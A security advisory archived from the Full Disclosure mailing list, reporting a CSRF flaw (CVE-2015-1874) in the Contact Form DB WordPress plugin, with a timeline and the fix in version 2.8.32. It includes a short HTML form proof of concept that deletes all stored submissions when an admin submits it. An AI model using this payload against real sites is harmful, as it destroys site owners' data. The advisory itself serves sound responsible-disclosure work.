full-disclosure - [FD] CSRF in Contact Form DB allows attacker to delete all stored form submissions (WordPress plugin)

Open Source and information security mailing list archives

Message-ID: <a40ec7eb259b001c90fe710ae1643f3d@security.dxw.com>
Date: Wed, 4 Mar 2015 16:14:54 +0000
From: dxw Security <security@....com>
To: fulldisclosure@...lists.org
Subject: [FD] CSRF in Contact Form DB allows attacker to delete all stored
	form submissions (WordPress plugin)

Details
================
Software: Contact Form DB
Version: 2.8.29
Homepage: https://wordpress.org/plugins/contact-form-7-to-database-extension/
Advisory report: https://security.dxw.com/advisories/csrf-in-contact-form-db-allows-attacker-to-delete-all-stored-form-submissions/
CVE: CVE-2015-1874
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
================
CSRF in Contact Form DB allows attacker to delete all stored form submissions

Vulnerability
================
An attacker able to convince a logged in admin user to follow a link (for instance via spearphishing) will be able to cause all records stored by this plugin to be removed.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, all records stored by the plugin will be deleted (in a real attack the form can be made to auto-submit using Javascript).
<form action=\"http://localhost/wp-admin/admin.php?page=CF7DBPluginSubmissions\" method=\"post\">
  <input name=\"all\" type=\"text\" value=\"y\">
  <input name=\"delete\" type=\"text\" value=\"y\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 2.8.32 or later

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2015-02-05: Discovered
2015-02-17: Reported to vendor by email
2015-02-22: Vendor responded and agreed a schedule for fix
2015-02-23: Vendor published a fix in version 2.8.32
2015-03-04: Advisory published

Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.

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